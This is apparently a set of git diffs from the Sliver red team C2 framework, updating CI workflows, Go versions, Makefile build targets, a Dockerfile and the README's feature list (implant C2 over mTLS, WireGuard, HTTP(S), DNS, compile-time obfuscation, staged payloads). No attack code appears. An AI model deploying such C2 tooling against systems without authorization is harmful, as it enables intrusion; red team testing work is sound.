Light code cleanup

Customization of the LURI for MSF Stager Payloads

.github/CODEOWNERS

@@ -0,0 +1 @@
+* @BishopFox/red-team

.github/codeql/codeql-config.yml

@@ -5,4 +5,4 @@ queries:
     uses: security-extended
     paths:
       - server
-      - implant
+      - client

.github/dependabot.yml

@@ -0,0 +1,16 @@
+# Basic set up for three package managers
+
+version: 2
+updates:
+
+  # Maintain dependencies for GitHub Actions
+  - package-ecosystem: "github-actions"
+    directory: "/"
+    schedule:
+      interval: "weekly"
+
+  # Maintain dependencies for go
+  - package-ecosystem: "gomod"
+    directory: "/"
+    schedule:
+      interval: "weekly"

.github/workflows/autorelease.yml

@@ -3,60 +3,58 @@ name: Release
 on:
   push:
     tags: ["v[1-9]+.[0-9]+.[0-9]+"]
-    branches: [master, goreleaser]
+    branches: [master]
 
 jobs:
-
   linux-windows-build:
     name: Linux & Windows Build
     if: startsWith( github.ref, 'refs/tags/v')
     runs-on: ubuntu-latest
     timeout-minutes: 45
     steps:
+      - name: Go 1.20
+        uses: actions/setup-go@v4
+        with:
+          go-version: "^1.20"
 
-    - name: Go 1.18
-      uses: actions/setup-go@v2
-      with:
-        go-version: '^1.18'
-    
-    - name: OS Packages 
-      run: |
-        sudo apt-get update --fix-missing && sudo apt-get -y install \
-        git build-essential zlib1g zlib1g-dev wget zip unzip \
-        mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
+      - name: OS Packages
+        run: |
+          sudo apt-get update --fix-missing && sudo apt-get -y install \
+          git build-essential zlib1g zlib1g-dev wget zip unzip \
+          mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
 
-    - name: Check out code into the Go module directory
-      uses: actions/checkout@v2
+      - name: Check out code into the Go module directory
+        uses: actions/checkout@v3
 
-    - name: Git Fetch Tags
-      run: git fetch --prune --unshallow --tags -f
+      - name: Git Fetch Tags
+        run: git fetch --prune --unshallow --tags -f
 
-    - name: Go Assets
-      run: ./go-assets.sh
+      - name: Go Assets
+        run: ./go-assets.sh
 
-    - name: Make
-      env:
-        ARTIFACT_SUFFIX: _linux
-      run: export PATH=/home/runner/go/bin/:$PATH && make linux
-  
-    - name: Linux Artifacts
-      uses: actions/upload-artifact@v2
-      with:
-        name: linux
-        path: ./sliver-*
+      - name: Make
+        env:
+          ARTIFACT_SUFFIX: _linux
+        run: export PATH=/home/runner/go/bin/:$PATH && make linux
 
-    - name: Make Windows
-      env: 
-        ARTIFACT_SUFFIX: _windows
-      run: |
-        make clean
-        export PATH=/home/runner/go/bin/:$PATH && make windows
+      - name: Linux Artifacts
+        uses: actions/upload-artifact@v3
+        with:
+          name: linux
+          path: ./sliver-*
 
-    - name: Windows Artifacts
-      uses: actions/upload-artifact@v2
-      with:
-        name: windows
-        path:  ./sliver-*
+      - name: Make Windows
+        env:
+          ARTIFACT_SUFFIX: _windows
+        run: |
+          make clean
+          export PATH=/home/runner/go/bin/:$PATH && make windows
+
+      - name: Windows Artifacts
+        uses: actions/upload-artifact@v3
+        with:
+          name: windows
+          path: ./sliver-*
 
   macos-build:
     name: MacOS Build
@@ -64,42 +62,40 @@ jobs:
     runs-on: macos-latest
     timeout-minutes: 45
     steps:
+      - name: Go 1.20
+        uses: actions/setup-go@v4
+        with:
+          go-version: "^1.20"
 
-    - name: Go 1.18
-      uses: actions/setup-go@v2
-      with:
-        go-version: '^1.18'
+      - name: Mingw
+        run: brew install mingw-w64
 
-    - name: Mingw
-      run: brew install mingw-w64
+      - name: Check out code into the Go module directory
+        uses: actions/checkout@v3
 
-    - name: Check out code into the Go module directory
-      uses: actions/checkout@v2
+      - name: Git Fetch Tags
+        run: git fetch --prune --unshallow --tags -f
 
-    - name: Git Fetch Tags
-      run: git fetch --prune --unshallow --tags -f
+      - name: Go Assets
+        run: ./go-assets.sh
 
-    - name: Go Assets
-      run: ./go-assets.sh
+      - name: Make AMD64
+        env:
+          ARTIFACT_SUFFIX: _macos
+        run: make macos
 
-    - name: Make AMD64
-      env: 
-        ARTIFACT_SUFFIX: _macos
-      run: make macos
+      - name: Make ARM64
+        env:
+          ARTIFACT_SUFFIX: _macos-arm64
+        run: make macos-arm64
 
-    - name: Make ARM64
-      env: 
-        ARTIFACT_SUFFIX: _macos-arm64
-      run: make macos-arm64
-
-    - name: MacOS Artifacts
-      uses: actions/upload-artifact@v2
-      with:
-        name: macos
-        path: ./sliver-*
+      - name: MacOS Artifacts
+        uses: actions/upload-artifact@v3
+        with:
+          name: macos
+          path: ./sliver-*
 
   tagged-release:
-
     needs: [linux-windows-build, macos-build]
 
     name: "Tagged Release"
@@ -108,53 +104,50 @@ jobs:
     timeout-minutes: 45
 
     steps:
-  
-    - run: mkdir -p ./builds
-    - uses: actions/download-artifact@v2
-      with:
-        path: ./builds
+      - run: mkdir -p ./builds
+      - uses: actions/download-artifact@v3
+        with:
+          path: ./builds
 
-    - name: Extract Artifacts
-      run: |
-        mkdir -p ./artifacts
-        cp ./builds/linux/* ./artifacts
-        cp ./builds/windows/* ./artifacts
-        cp ./builds/macos/* ./artifacts
+      - name: Extract Artifacts
+        run: |
+          mkdir -p ./artifacts
+          cp ./builds/linux/* ./artifacts
+          cp ./builds/windows/* ./artifacts
+          cp ./builds/macos/* ./artifacts
 
-    - id: install-secret-key
-      name: GPG Key(s)
-      run: |
-        cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
-        gpg --list-secret-keys --keyid-format LONG
+      - id: install-secret-key
+        name: GPG Key(s)
+        run: |
+          cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
+          gpg --list-secret-keys --keyid-format LONG
 
-    # Linux
-    - name: Linux AMD64
-      run: |
-        gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
-        gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
-    
-    # Windows
-    - name: Windows AMD64
-      run: |
-        gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
-        gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
+      # Linux
+      - name: Linux AMD64
+        run: |
+          gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
+          gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
 
-    # MacOS AMD64
-    - name: MacOS AMD64
-      run: |
-        gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
-        gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
-  
-    # MacOS ARM64
-    - name: Package MacOS ARM64
-      run: |
-        gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
-        gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
-  
-    - name: "Publish Release"
-      uses: "marvinpinto/action-automatic-releases@latest"
-      with:
-        repo_token: "${{ secrets.GITHUB_TOKEN }}"
-        prerelease: true
-        files: |
-          ./artifacts/*
+      # Windows
+      - name: Windows AMD64
+        run: |
+          gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
+          gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
+
+      # MacOS AMD64
+      - name: MacOS AMD64
+        run: |
+          gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
+          gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
+
+      # MacOS ARM64
+      - name: Package MacOS ARM64
+        run: |
+          gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
+          gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
+
+      - name: "Publish Release"
+        uses: "bishopfox/action-gh-release@v1"
+        with:
+          files: |
+            ./artifacts/*

.github/workflows/codeql-scanning.yml

@@ -4,26 +4,25 @@ on:
   push:
     branches:
       - test/*
-  # pull_request:
-  #   branches:
-  #     - master
+  pull_request:
+    branches:
+      - master
 
 jobs:
   CodeQL-Build:
     name: CodeQL Security Scan
-    # CodeQL runs on ubuntu-latest, windows-latest, and macos-latest
     runs-on: ubuntu-latest
-    timeout-minutes: 45
+    timeout-minutes: 90
 
     steps:
       # Setup go environment
-      - name: Go 1.18
-        uses: actions/setup-go@v2
+      - name: Go 1.20
+        uses: actions/setup-go@v4
         with:
-          go-version: "^1.18"
+          go-version: "^1.20"
 
       - name: Checkout repository
-        uses: actions/checkout@v2
+        uses: actions/checkout@v3
         with:
           # Must fetch at least the immediate parents so that if this is
           # a pull request then we can checkout the head of the pull request.
@@ -37,32 +36,15 @@ jobs:
           git build-essential zlib1g zlib1g-dev wget zip unzip \
           mingw-w64 binutils-mingw-w64 g++-mingw-w64
 
-      - name: Protoc
-        env:
-          PROTOC_VER: 3.11.4
-        run: |
-          wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
-          && unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
-          && sudo cp -vv ./bin/protoc /usr/local/bin/protoc
-
-      - name: Protoc-gen-go
-        env:
-          PROTOC_GEN_GO_VER: 1.3.5
-        run: |
-          wget -O protoc-gen-go.tar.gz https://github.com/golang/protobuf/archive/v${PROTOC_GEN_GO_VER}.tar.gz \
-          && tar xvf protoc-gen-go.tar.gz \
-          && cd protobuf-${PROTOC_GEN_GO_VER} \
-          && make install
-
       - name: Check out code into the Go module directory
-        uses: actions/checkout@v2
+        uses: actions/checkout@v3
 
       - name: Go Assets
         run: ./go-assets.sh
 
       # Initializes the CodeQL tools for scanning.
       - name: Initialize CodeQL
-        uses: github/codeql-action/init@v1
+        uses: github/codeql-action/init@v2
         with:
           config-file: ./.github/codeql/codeql-config.yml
           languages: go
@@ -72,6 +54,6 @@ jobs:
           make
 
       - name: Perform CodeQL Analysis
-        uses: github/codeql-action/analyze@v1
+        uses: github/codeql-action/analyze@v2
         env:
           VERSION: ${{github.sha}}

.github/workflows/go.yml

@@ -1,8 +1,5 @@
 name: Build & Test
 on:
-  push:
-    branches: 
-      - test/*
   pull_request:
     branches:
       - master
@@ -13,70 +10,67 @@ on:
       - ready_for_review
 
 jobs:
-
   linux-windows-build:
     name: Linux & Windows Build
     runs-on: ubuntu-latest
     timeout-minutes: 90
     steps:
+      - name: Go 1.20
+        uses: actions/setup-go@v4
+        with:
+          go-version: "1.20.2"
 
-    - name: Go 1.18
-      uses: actions/setup-go@v2
-      with:
-        go-version: '^1.18'
-    
-    - name: OS Packages 
-      run: |
-        sudo apt-get update --fix-missing && sudo apt-get -y install \
-        git build-essential zlib1g zlib1g-dev wget zip unzip \
-        mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
+      - name: OS Packages
+        run: |
+          sudo apt-get update --fix-missing && sudo apt-get -y install \
+          git build-essential zlib1g zlib1g-dev wget zip unzip \
+          mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
 
-    - name: Check out code into the Go module directory
-      uses: actions/checkout@v2
+      - name: Check out code into the Go module directory
+        uses: actions/checkout@v3
 
-    - name: Git Fetch Tags
-      run: git fetch --prune --unshallow --tags -f
+      - name: Git Fetch Tags
+        run: git fetch --prune --unshallow --tags -f
 
-    - name: Go Assets
-      run: ./go-assets.sh
+      - name: Go Assets
+        run: ./go-assets.sh
 
-    - name: Make
-      run: make linux
+      - name: Make
+        run: make linux
 
-    - name: Test
-      run: ./sliver-server unpack --force && ./go-tests.sh
+      - name: Test
+        run: ./sliver-server unpack --force && ./go-tests.sh
+
+      - name: Make Windows
+        run: make windows
 
-    - name: Make Windows
-      run: make windows
-  
   macos-build:
     name: MacOS Build
     runs-on: macos-latest
     timeout-minutes: 90
     steps:
+      - name: Go 1.20
+        uses: actions/setup-go@v4
+        with:
+          go-version: "1.20.2"
 
-    - name: Go 1.18
-      uses: actions/setup-go@v2
-      with:
-        go-version: '^1.18'
+      - name: Mingw
+        run: brew install mingw-w64
 
-    - name: Mingw
-      run: brew install mingw-w64
+      - name: Check out code into the Go module directory
+        uses: actions/checkout@v3
 
-    - name: Check out code into the Go module directory
-      uses: actions/checkout@v2
+      - name: Git Fetch Tags
+        run: git fetch --prune --unshallow --tags -f
 
-    - name: Git Fetch Tags
-      run: git fetch --prune --unshallow --tags -f
+      - name: Go Assets
+        run: ./go-assets.sh
 
-    - name: Go Assets
-      run: ./go-assets.sh
+      - name: Make
+        run: make macos
 
-    - name: Make
-      run: make macos
-
-    - name: Test
-      env:
-        SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
-        SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
-      run: ./sliver-server unpack --force && ./go-tests.sh
+      - name: Test
+        env:
+          SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
+          SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
+        run: ./sliver-server unpack --force && ./go-tests.sh

.gitignore

@@ -18,6 +18,7 @@
 /sliver-client
 /sliver-client_arm64
 /sliver-client.exe
+/sliver-client_*
 
 sliver-server-linux.zip
 sliver-server-macos.zip
@@ -32,6 +33,7 @@ sliver-server-windows.zip
 
 # Test binary, build with `go test -c`
 /*.test
+/test.py
 
 # Output of the go coverage tool, specifically when used with LiteIDE
 /*.out
@@ -42,3 +44,6 @@ sliver-server-windows.zip
 .DS_Store
 
 dist/
+
+# Flag to show that go-assets.sh has been run
+.downloaded_assets

Dockerfile

@@ -1,4 +1,4 @@
-FROM golang:1.18.4
+FROM golang:1.20.4
 
 #
 # IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
@@ -6,7 +6,7 @@ FROM golang:1.18.4
 #            a Docker deployment this is probably a good place to start.
 #
 
-ENV PROTOC_VER 3.19.4
+ENV PROTOC_VER 21.12
 ENV PROTOC_GEN_GO_VER v1.27.1
 ENV GRPC_GO v1.2.0
 
@@ -52,12 +52,9 @@ RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER}
 
 # Go assets
 WORKDIR /go/src/github.com/bishopfox/sliver
-ADD ./go-assets.sh /go/src/github.com/bishopfox/sliver/go-assets.sh
-RUN ./go-assets.sh
-
-# Compile sliver server
 ADD . /go/src/github.com/bishopfox/sliver/
-RUN make \
+RUN make clean-all \
+    && make \
     && cp -vv sliver-server /opt/sliver-server \
     && /opt/sliver-server unpack --force 
 

Makefile

@@ -5,8 +5,12 @@
 GO ?= go
 ARTIFACT_SUFFIX ?= 
 ENV =
-TAGS = -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
+TAGS ?= -tags osusergo,netgo,go_sqlite
+CGO_ENABLED = 0
 
+ifneq (,$(findstring cgo_sqlite,$(TAGS)))
+	CGO_ENABLED = 1
+endif
 
 #
 # Prerequisites 
@@ -23,13 +27,13 @@ GO_VERSION = $(shell $(GO) version)
 GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
 GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
 MIN_SUPPORTED_GO_MAJOR_VERSION = 1
-MIN_SUPPORTED_GO_MINOR_VERSION = 18
+MIN_SUPPORTED_GO_MINOR_VERSION = 20
 GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
 
 VERSION ?= $(shell git describe --abbrev=0)
 COMPILED_AT = $(shell date +%s)
 RELEASES_URL ?= https://api.github.com/repos/BishopFox/sliver/releases
-ARMORY_PUB_KEY ?= RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
+ARMORY_PUBLIC_KEY ?= RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
 ARMORY_REPO_URL ?= https://api.github.com/repos/sliverarmory/armory/releases
 VERSION_PKG = github.com/bishopfox/sliver/client/version
 CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
@@ -44,9 +48,18 @@ LDFLAGS = -ldflags "-s -w \
 	-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
 	-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
 	-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
-	-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
+	-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
 	-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
 
+# Debug builds shouldn't be stripped (-s -w flags)
+LDFLAGS_DEBUG = -ldflags "-X $(VERSION_PKG).Version=$(VERSION) \
+	-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
+	-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
+	-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
+	-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
+	-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
+	-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
+	-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
 
 SED_INPLACE := sed -i
 STATIC_TARGET := linux
@@ -54,17 +67,6 @@ STATIC_TARGET := linux
 UNAME_S := $(shell uname -s)
 UNAME_P := $(shell uname -p)
 
-# If the target is Windows from Linux/Darwin, check for mingw
-CROSS_COMPILERS = x86_64-w64-mingw32-gcc x86_64-w64-mingw32-g++
-ifneq (,$(findstring cgosqlite,$(TAGS)))
-	ENV +=CGO_ENABLED=1
-	ifeq ($(MAKECMDGOALS), windows)
-		K := $(foreach exec,$(CROSS_COMPILERS),\
-				$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
-		ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
-	endif
-endif
-
 # Programs required for generating protobuf/grpc files
 PB_COMPILERS = protoc protoc-gen-go protoc-gen-go-grpc
 ifeq ($(MAKECMDGOALS), pb)
@@ -95,7 +97,7 @@ ifeq ($(MAKECMDGOALS), linux)
 		-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
 		-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
 		-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
-		-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
+		-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUBLIC_KEY) \
 		-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
 endif
 
@@ -103,34 +105,49 @@ endif
 # Targets
 #
 .PHONY: default
-default: clean validate-go-version
-	$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
-	$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
+default: clean .downloaded_assets validate-go-version
+	$(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
+	$(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
+
+# Allows you to build a CGO-free client for any target e.g. `GOOS=windows GOARCH=arm64 make client`
+# NOTE: WireGuard is not supported on all platforms, but most 64-bit GOOS/GOARCH combinations should work.
+.PHONY: client
+client: clean .downloaded_assets validate-go-version
+	$(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
 
 .PHONY: macos
-macos: clean validate-go-version
-	GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
-	GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
+macos: clean .downloaded_assets validate-go-version
+	GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
+	GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
 
 .PHONY: macos-arm64
-macos-arm64: clean validate-go-version
-	GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
-	GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
+macos-arm64: clean .downloaded_assets validate-go-version
+	GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
+	GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
 
 .PHONY: linux
-linux: clean validate-go-version
-	GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
-	GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
+linux: clean .downloaded_assets validate-go-version
+	GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
+	GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
 
 .PHONY: linux-arm64
-linux-arm64: clean validate-go-version
-	GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
-	GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
+linux-arm64: clean .downloaded_assets validate-go-version
+	GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
+	GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
 
 .PHONY: windows
-windows: clean validate-go-version
-	GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX).exe ./server
-	GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX).exe ./client
+windows: clean .downloaded_assets validate-go-version
+	GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX).exe ./server
+	GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX).exe ./client
+
+.PHONY: clients
+clients: clean .downloaded_assets validate-go-version
+	GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_macos$(ARTIFACT_SUFFIX) ./client
+	GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_macos-arm64$(ARTIFACT_SUFFIX) ./client
+	GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_linux$(ARTIFACT_SUFFIX) ./client
+	GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_linux-arm64$(ARTIFACT_SUFFIX) ./client
+	GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_windows$(ARTIFACT_SUFFIX).exe ./client
+	GOOS=windows GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_windows-arm64$(ARTIFACT_SUFFIX).exe ./client
 
 .PHONY: pb
 pb:
@@ -140,6 +157,11 @@ pb:
 	protoc -I protobuf/ protobuf/dnspb/dns.proto --go_out=paths=source_relative:protobuf/
 	protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=paths=source_relative:protobuf/ --go-grpc_out=protobuf/ --go-grpc_opt=paths=source_relative 
 
+.PHONY: debug
+debug: clean
+	$(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor $(TAGS),server $(LDFLAGS_DEBUG) -o sliver-server$(ARTIFACT_SUFFIX) ./server
+	$(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor $(TAGS),client $(LDFLAGS_DEBUG) -o sliver-client$(ARTIFACT_SUFFIX) ./client
+
 validate-go-version:
 	@if [ $(GO_MAJOR_VERSION) -gt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
 		exit 0 ;\
@@ -158,7 +180,12 @@ clean-all: clean
 	rm -rf ./server/assets/fs/windows/amd64
 	rm -rf ./server/assets/fs/linux/amd64
 	rm -f ./server/assets/fs/*.zip
+	rm -f ./.downloaded_assets
 
 .PHONY: clean
 clean:
-	rm -f sliver-client sliver-server sliver-*.exe
+	rm -f sliver-client sliver-client_* sliver-server sliver-*.exe
+
+.downloaded_assets:
+	./go-assets.sh
+	touch ./.downloaded_assets

README.md

@@ -1,28 +1,33 @@
-Sliver
-======
+# Sliver
 
 Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary asymmetric encryption keys.
 
 The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
 
-![Go](https://github.com/BishopFox/sliver/workflows/Go/badge.svg?branch=master) [![Go Report Card](https://goreportcard.com/badge/github.com/BishopFox/sliver)](https://goreportcard.com/report/github.com/BishopFox/sliver) [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)
+[![Release](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml/badge.svg)](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml) [![Go Report Card](https://goreportcard.com/badge/github.com/BishopFox/sliver)](https://goreportcard.com/report/github.com/BishopFox/sliver) [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)
+
+# v1.6.0 / `master`
+
+**NOTE:** You are looking the latest master branch of Sliver v1.6.0; PRs should target this branch starting on 6/1/2023 ('MURICA format). However, this branch is NOT RECOMMENDED for production use yet. Please use release tagged versions for the best experience.
+
+For PRs containing bug fixes specific to Sliver v1.5, please target the [`v1.5.x/master` branch](https://github.com/BishopFox/sliver/tree/v1.5.x/master).
 
 ### Features
 
-* Dynamic code generation
-* Compile-time obfuscation
-* Multiplayer-mode
-* Staged and Stageless payloads
-* [Procedurally generated C2](https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2#under-the-hood) over HTTP(S)
-* [DNS canary](https://github.com/BishopFox/sliver/wiki/DNS-C2#dns-canaries) blue team detection
-* [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, WireGuard, HTTP(S), and DNS
